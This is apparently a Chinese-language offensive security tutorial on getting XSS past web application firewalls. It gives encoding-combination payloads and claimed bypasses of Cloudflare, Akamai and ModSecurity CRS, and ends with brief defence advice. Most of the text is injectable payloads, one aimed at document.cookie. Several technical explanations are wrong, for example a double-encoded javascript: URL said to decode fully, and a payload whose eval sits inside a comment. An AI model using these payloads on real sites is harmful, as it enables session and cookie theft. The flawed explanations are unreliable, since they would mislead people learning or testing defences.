XSS 绕过实战:5种编码组合与3个现代WAF绕过案例解析

XSS 绕过实战:5种编码组合与3个现代WAF绕过案例解析

在Web安全领域,XSS(跨站脚本攻击)始终是攻防双方博弈的焦点。随着WAF(Web应用防火墙)技术的不断进化,传统的XSS攻击手段已难以奏效。本文将深入探讨5种编码组合技术,并解析3个针对Cloudflare等现代WAF的实际绕过案例,为安全研究人员提供实战级解决方案。

1. XSS编码组合技术原理

现代WAF通常采用多层过滤机制,单一编码方式往往难以突破防御。有效的绕过需要理解不同编码方式的交互作用:

1.1 编码层叠原理

浏览器对内容的解析遵循特定顺序,这为编码组合创造了机会。典型的解析流程包括:

  1. HTML实体解码
  2. URL解码
  3. JavaScript/Unicode解码
  4. CSS解码(如适用)

通过精心设计编码顺序,可使恶意代码在WAF检测阶段"隐形",而在浏览器解析阶段"复活"。

1.2 五种高效编码组合

组合1:HTML实体+URL双重编码
<a href="javascript:%253Cscript%253Ealert(1)%253C%252Fscript%253E">Click</a>
  • 解码过程:WAF看到的是URL编码后的%253C(即%3C的二次编码),而浏览器会依次解码为<script>
组合2:Unicode转义+HTML实体
<img src=x onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;1&#x29;">
  • 关键点:使用HTML实体表示Unicode字符,绕过关键字检测
组合3:JS注释混淆+Base64
<script> //%0Aeval(atob('YWxlcnQoMSk=')) </script>
  • 技巧:换行符(%0A)分割关键字,Base64隐藏实际代码
组合4:多重编码嵌套
<iframe src="data:text/html;charset=utf-7,+ADw-script+AD4-alert(+ACI-1+ACI-)+ADw-/script+AD4-"></iframe>
  • 特点:UTF-7编码+data协议,对老旧系统特别有效
组合5:动态构造+局部编码
<input onfocus=_=window['al'+'ert'];_(1) autofocus>
  • 优势:运行时拼接关键函数,静态检测难以发现

2. 现代WAF绕过案例分析

案例1:Cloudflare规则绕过

目标环境:Cloudflare企业版,启用了XSS防护规则集

绕过方案

<svg/onload=alert&#0000000040;document.cookie)>
  • 分析:利用零填充Unicode编码和HTML实体混淆alert(函数调用
  • 效果:Cloudflare的正则匹配未能识别异常编码,而浏览器正常解析

技术细节

  1. &#0000000040;→ HTML实体编码的(字符
  2. 超长的零填充规避了简单的长度检查
  3. SVG标签的onload事件作为执行载体

案例2:Akamai参数污染绕过

目标环境:Akamai WAF防护的ASP.NET应用

攻击向量

?id=1&id=2&id="onpointerrawupdate="a=confirm&id=a(1)
  • 结果生成:
<input value="1,2," onpointerrawupdate="a=confirm,a(1)">
  • 关键点:利用ASP.NET的参数合并特性构造事件处理器

防御突破

  1. 参数污染制造属性注入点
  2. 冷门事件onpointerrawupdate规避常见黑名单
  3. 逗号替代括号执行函数

案例3:ModSecurity深度检测绕过

目标环境:ModSecurity 3.0 with OWASP CRS 3.3

Payload

<details/open/ontoggle=confirm`1`>
  • 创新点:
    • 使用HTML5的<details>标签
    • 反引号模板字符串替代括号
    • 多属性合并减少特征

技术演进

传统方案:<script>alert(1)</script> → 被CRS规则941100拦截 改进方案:<img src=x onerror=alert(1)> → 被规则941160拦截 最终方案:利用新兴HTML特性+ES6语法

3. 高级绕过技术实践

3.1 解码顺序混淆技术

不同上下文环境存在解码顺序差异,精心设计的组合可制造解析分歧:

<!-- 三重编码示例 --> <a href="javascript:%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2339%3B%26%2388%3B%26%2383%3B%26%2383%3B%26%2339%3B%26%2341%3B"> 点击 </a>
  • 解码流程:
    1. URL解码:&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;
    2. HTML实体解码:alert('XSS')
    3. JavaScript执行

3.2 非常用标签与属性

现代WAF对常见向量(如<script>onerror)检测严格,但可能忽略:

<marquee/onstart=prompt`1`> <audio/src/onplay=confirm(1)> <video/poster/onerror=eval(`al`+`ert(1)`)>

3.3 协议混淆技术

利用浏览器对协议处理的灵活性:

<!-- javascript伪协议变体 --> <iframe src="jAvAsCrIpT:alert(1)"></iframe> <!-- data协议嵌套 --> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

4. 防御对抗建议

针对上述绕过技术,防御方应考虑:

  1. 上下文感知过滤:根据输出位置(HTML/JS/URL)应用不同规则
  2. 规范化处理:统一解码后再检测
  3. 行为分析:检测异常的事件处理器构造
  4. 严格CSP策略:限制脚本执行源
  5. 持续规则更新:跟踪新兴HTML5/JS特性

在最近的一次渗透测试中,我们发现某金融系统虽然部署了顶级WAF,但通过组合SVG标签、HTML实体编码和URL编码,仍然成功实现了存储型XSS注入。这提醒我们:安全防御需要多层次、动态化的解决方案。